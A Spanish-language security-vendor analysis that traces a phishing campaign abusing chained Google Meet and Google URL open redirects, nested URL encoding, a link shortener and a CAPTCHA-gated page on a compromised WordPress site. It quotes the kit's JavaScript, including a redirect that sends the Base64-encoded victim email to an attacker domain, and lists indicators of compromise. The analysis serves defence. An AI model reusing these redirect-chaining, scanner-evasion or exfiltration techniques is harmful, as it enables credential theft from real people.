Abuso de redirecciones abiertas en múltiples capas usando Google Meet para lanzar ataque de phishing
Los atacantes llevan tiempo utilizando redirecciones abiertas (CWE-601) para ocultar destinos maliciosos detrás de dominios de confianza. Lo normal antes era que estos ataques se basaran en una única redirección alojada en un servicio legítimo. Así es como se solía generar confianza y se esquivaban los controles de seguridad básicos.
Pero las campañas de phishing de ahora ya han evolucionado. El ataque que analizamos en este artículo empieza con un correo de phishing que simula una solicitud de firma de documentos. Te invita a revisar una supuesta factura pendiente. A partir de ahí, el atacante construye una cadena de redirecciones mucho más sofisticada, encadenada a través de varios servicios de Google y combinando redirecciones abiertas, múltiples capas de codificación de URLs y acortadores de enlaces.
En este artículo verás paso a paso cómo funciona toda la cadena de ataque: desde el correo inicial, pasando por una página intermedia protegida con CAPTCHA, hasta llegar a la infraestructura final diseñada para robar tus credenciales.
Acceso inicial: correo de phishing
En este ejemplo, el correo está diseñado para imitar una solicitud de firma de documentos. Se trata de un tipo de gancho muy habitual en ingeniería social porque genera la típica sensación de urgencia y esa presión por actuar rápido.
Los elementos clave del correo son:
- Asunto: SIGNED – Invoice / Payments & W9 *** Approval ***
- Llamada a la acción: «Se ha enviado un documento para tu revisión y firma»
- Botón malicioso: «REVIEW DOCUMENT»
- Dirección del remitente sospechosa: campo «From» largo y ofuscado que usa la infraestructura de mailgun.org y no coincide con el supuesto remitente (DocPro)
- Inconsistencias en el dominio: el nombre visible no coincide con el dominio real de envío, lo que apunta a una posible suplantación de marca
El enlace incluido en el correo utiliza un endpoint de redirección de Google Meet:
hxxps://meet[.]google[.]com/linkredirect?dest=... La presencia de un dominio de confianza como google[.]com aumenta la probabilidad de que interactúes con el enlace.
URL extraída del correo:
hxxps://meet[.]google[.]com/linkredirect?dest=hxxps://www[.]google[.]com/url?q=amp/google[.]com%2Furl%3Fq%3Dhttps%253A%252F%252Fshorter.me%252FNjxgq%26sa%3DD%26sntz%3D1 El enlace malicioso está en la versión HTML y en la versión en texto plano.
Abuso de redirecciones abiertas
Una redirección abierta se produce cuando una aplicación web permite redirigir a URLs externas arbitrarias mediante un parámetro.
Ejemplo:
hxxps://trustedsite[.]com/redirect?url=hxxps://malicioussite[.]com Estos mecanismos suelen implementarse con fines legítimos, como analítica, seguimiento de afiliados o navegación. Sin embargo, los atacantes los aprovechan para ocultar destinos maliciosos detrás de dominios de confianza.
Cadena de redirecciones paso a paso
A diferencia de los ataques de phishing más simples, que utilizan una única redirección, en este caso se combinan varios mecanismos de redirección de confianza.
En las siguientes secciones verás cada paso de esta cadena en detalle.
1. Redirección de Google Meet
El enlace inicial utiliza un mecanismo de redirección de Google Meet:
hxxps://meet[.]google[.]com/linkredirect?dest= Este endpoint redirige a los usuarios a recursos externos asociados a reuniones.
2. Redirección de URL de Google
El parámetro «dest» apunta a otro endpoint de Google:
hxxps://www[.]google[.]com/url?q=... Este tipo de redirección se utiliza habitualmente para rastrear clics salientes desde los resultados de búsqueda.
En este punto, el parámetro «q» contiene otra URL codificada:
amp/google[.]com%2Furl%3Fq%3Dhxxps%253A%252F%252Fshorter[.]me%252FNjxgq La presencia de la ruta amp/google.com/url sugiere que el atacante está aprovechando la infraestructura AMP de Google junto con el mecanismo estándar de redirección. Eso añade una capa adicional de ocultación al enlace de phishing.
3. Decodificación de la URL anidada
Al decodificar la URL una primera vez, se obtiene:
amp/google[.]com/url?q=hxxps%3A%2F%2Fshorter.me%2FNjxgq Al decodificarla de nuevo, aparece el destino final:
hxxps://shorter[.]me/Njxgq Esto va a revelar la siguiente fase del ataque: el uso de un servicio de acortamiento de URLs (shorter[.]me). Los acortadores de enlaces son herramientas legítimas que se diseñan para convertir URLs largas en enlaces más cortos y fáciles de compartir. Pero también se suelen utilizar en campañas de phishing. Esto es porque ocultan el destino real y dificultan la detección por parte de herramientas de seguridad.
4. Página de destino final
El enlace acortado redirige finalmente a la página de destino:
hxxps://clinicapsiconova[.]com[.]br/wp-admin/?token=... El dominio en la URL parece corresponder a un sitio WordPress comprometido. Y es que el uso de la ruta /wp-admin/ junto con un parámetro tipo token (por ejemplo, el correo de la víctima) apunta a la presencia de un kit de phishing alojado en ese sitio.
Análisis de la página final
Después de pasar por varias capas de redirección, acabas en una página alojada en un sitio WordPress comprometido. En lugar de mostrar directamente un formulario de phishing, la página introduce una verificación previa con tu dirección de correo ya rellenada y un desafío de reCAPTCHA. Este paso cumple una función clave dentro del ataque. En vez de mostrar la página de robo de credenciales, el CAPTCHA actúa como una barrera entre la fase inicial y la fase final.
Muchos sistemas de seguridad analizan enlaces sospechosos mediante navegación automatizada. Al exigir interacción humana, el atacante reduce de forma significativa la probabilidad de que la página real de phishing sea detectada durante estos análisis. Tal y como se ha visto en estudios recientes sobre amenazas por correo, los atacantes usan, cada vez más, falsas comprobaciones de seguridad y técnicas similares para bajar la desconfianza de las víctimas y ocultar contenido malicioso a los sistemas automatizados.
Contenido HTML ofuscado
Como ves en la captura, la página de destino parece ser un paso de verificación antes de acceder al documento mencionado en el correo de phishing, sin más. Sin embargo, al analizar el HTML y el JavaScript, se aprecia que en realidad se trata de una fase intermedia del ataque diseñada para personalizar la experiencia de phishing, filtrar el tráfico automatizado y redirigirte a la página final donde se roban las credenciales.
Lo más llamativo es que el contenido HTML está fuertemente ofuscado. En lugar de presentar código legible, la página reconstruye dinámicamente su contenido en tiempo real mediante funciones de JavaScript como document.write() y unescape().
El HTML real está codificado como una larga cadena en formato hexadecimal que solo se descifra cuando el script se ejecuta en el navegador. Esto oculta la estructura real de la página frente a herramientas de análisis estático, todo lo cual dificulta su detección.
<html lang="en"><head><script language="javascript">
<!-- // == Begin Free HTML Source Code Obfuscation Protection from hxxps://snapbuilder[.]com
== //
document.write(unescape('%3C%68%74%6D%6C%20%6C%61%6E%67%3D%22%65%6E%22%3E
%3C%68%65%61%64%3E%0A[…] HTML ofuscado generado con la herramienta SnapBuilder
El código fuente también indica que el atacante probablemente usó un generador público de ofuscación HTML de SnapBuilder. Estas herramientas se suelen utilizar para dificultar la copia o el scraping del código, transformando HTML legible en un formato difícil de interpretar sin afectar al funcionamiento de la página. Pero en contextos maliciosos, los atacantes aprovechan esta técnica para ocultar contenido peligroso y dificultar su detección por parte de sistemas de análisis automático.
Personalización de la víctima mediante parámetros en la URL
Otro comportamiento que se observa al analizar el código JavaScript (una vez descifrado) es la extracción automática del correo de la víctima desde la URL.
El script comprueba los parámetros de la URL (query) y el fragmento de la URL:
const emailParam = urlParams.get('email');
const emailHash = window.location.hash.substring(1);Si encuentra una dirección de correo, la inserta automáticamente en el campo correspondiente y lo deja como solo lectura. Además, el código comprueba si el valor está codificado en Base64 y, en ese caso, lo descifra antes de utilizarlo:
const decodedEmail = isBase64(emailFromUrl) ? atob(emailFromUrl) : emailFromUrl; Incluir el correo del destinatario en la URL es una técnica bastante habitual en las campañas de phishing porque hace que el ataque resulte más creíble, aumenta las probabilidades de que introduzcas tus credenciales y permite a los atacantes medir la eficacia de la campaña y hacer seguimiento de la actividad.
Interfaz multilingüe
El código JavaScript incluye un módulo de traducción que admite varios idiomas, como por ejemplo alemán, español, francés e inglés. La página detecta automáticamente el idioma de tu navegador con la propiedad navigator.language y adapta así la interfaz.
/ Language translations
const translations = {
en: {
emailPlaceholder: "Please enter your email address to access your document(s)",
captchaText: "I'm not a robot",
privacyTerms: "Privacy - Terms",
errorEmpty: "Please enter your email address",
errorInvalid: "Please enter a valid email address"
},
de: {
emailPlaceholder: "Geben Sie Ihre E-Mail ein",
captchaText: "Ich bin kein Roboter",
privacyTerms: "Datenschutz - Bedingungen",
errorEmpty: "Bitte geben Sie Ihre E-Mail-Adresse ein",
errorInvalid: "Bitte geben Sie eine gültige E-Mail-Adresse ein"
}Configuración de traducción para inglés y alemán
// Detect user language
function detectLanguage() {
const userLang = navigator.language || navigator.userLanguage;
const langCode = userLang.split('-')[0];
return translations[langCode] ? langCode : 'en';
}Código utilizado para detectar el idioma del navegador de la víctima
Este tipo de funcionalidad indica que la página de phishing está preparada para dirigirse a usuarios de distintas regiones, lo que apunta al uso de un kit de phishing genérico diseñado para campañas a gran escala.
Redirección a la página de robo de credenciales
Cuando interactúas con la casilla del CAPTCHA, la página ejecuta una función en JavaScript que lanza una redirección con un retraso al siguiente endpoint:
hxxps://vitranseg.cl/staiziopou-mafrista/email[.]php
______________________________________________________________________________________
setTimeout(() => {
if (emailValue) {
// Encode the email in Base64 before adding to URL
const encodedEmail = btoa(emailValue);
window.location.href = `https://vitranseg.cl/staiziopoumafrista/email.php?email=${encodedEmail}`;
} else {
window.location.href = "hxxps://vitranseg[.]cl/staiziopoumafrista/email[.]php?email=";
}
}, 2000); Fragmento de código JavaScript utilizado para redirigir a la víctima
Lamentablemente, no fue posible analizar más a fondo la cadena de ataque, ya que el endpoint devolvía un error 404, lo que indica que la página ya no estaba disponible en el momento de la investigación. Sin embargo, basándonos en la estructura de la página y en la lógica de redirección observada, es razonable concluir que el siguiente paso del ataque sería una página de phishing que se hace pasar por Microsoft.
Esta página probablemente estaría diseñada para recopilar información sensible, como credenciales de acceso u otros datos personales.
Conclusión final
Esta campaña demuestra cómo los ataques de phishing modernos están utilizando técnicas en múltiples capas para que sea más difícil que se les pueda detectar. En lugar de llevarte directamente a una página maliciosa, los atacantes construyen una cadena compleja combinando servicios de redirección de confianza, ofuscación de URLs y enlaces acortados. Todo ello para ocultar el destino final.
La página de destino añade otra capa de evasión mediante un paso de verificación con CAPTCHA y la personalización del ataque. Al extraer tu dirección de correo de la URL y rellenar automáticamente el campo, la página parece diseñada para ti, al mismo tiempo que bloquea el acceso de sistemas automatizados al siguiente paso del ataque.
Aunque el endpoint final no aparecía en el momento del análisis, la lógica de redirección indica que lo siguiente habría sido una página para robar credenciales.
Indicadores de compromiso (IOCs)
Se identificaron los siguientes indicadores durante el análisis de esta campaña.
Dominios:
- Shorter[.]me
- clinicapsiconova[.]com[.]br
URLs:
- hxxps://shorter[.]me/Njxgq
- hxxps://clinicapsiconova[.]com[.]br/wp-admin/?token=…
- hxxps://vitranseg[.]cl/staiziopou-mafrista/email[.]php
Protección avanzada para tus activos digitales
Hoy, las ciberamenazas ya no son oportunistas: están diseñadas con mucho mimo, evolucionan constantemente y alcanzan niveles cada vez mayores de sofisticación.
Gracias al análisis en profundidad de ataques reales, Advanced Threat Protection de Hornetsecurity convierte incidentes aislados en información estratégica de valor. Este enfoque proactivo refuerza tu seguridad frente a amenazas conocidas y emergentes.
Nuestra solución basada en IA te ofrece:
- Protección contra ransomware: protege tus datos críticos frente a ataques.
- Detección de compromiso de correo: identifica intentos de phishing con mayor precisión.
- Alertas en tiempo real: te avisa de inmediato ante amenazas urgentes.
- Motor sandbox: analiza de forma segura archivos sospechosos.
Para tener una visión más amplia de las tendencias, consulta los Monthly Threat Report de Hornetsecurity, con contexto y estadísticas a nivel global.
Conclusión
El ataque analizado en este artículo muestra cómo los atacantes combinan múltiples técnicas (abuso de redirecciones abiertas, uso de URLs anidadas y codificadas, páginas protegidas con CAPTCHA y personalización del contenido) para crear campañas de phishing cada vez más difíciles de detectar e investigar.
En lugar de depender solamente de un único elemento malicioso, cada fase del ataque cumple una función concreta para ocultar el objetivo final. Los servicios de confianza ayudan a disfrazar el destino malicioso y, además, las redirecciones y la codificación dificultan el análisis automático. Por último, la página con CAPTCHA impide que los sistemas de seguridad accedan a la infraestructura de robo de credenciales.
Este caso demuestra la importancia de analizar toda la cadena de ataque, desde el correo inicial hasta el comportamiento de la página de destino final.
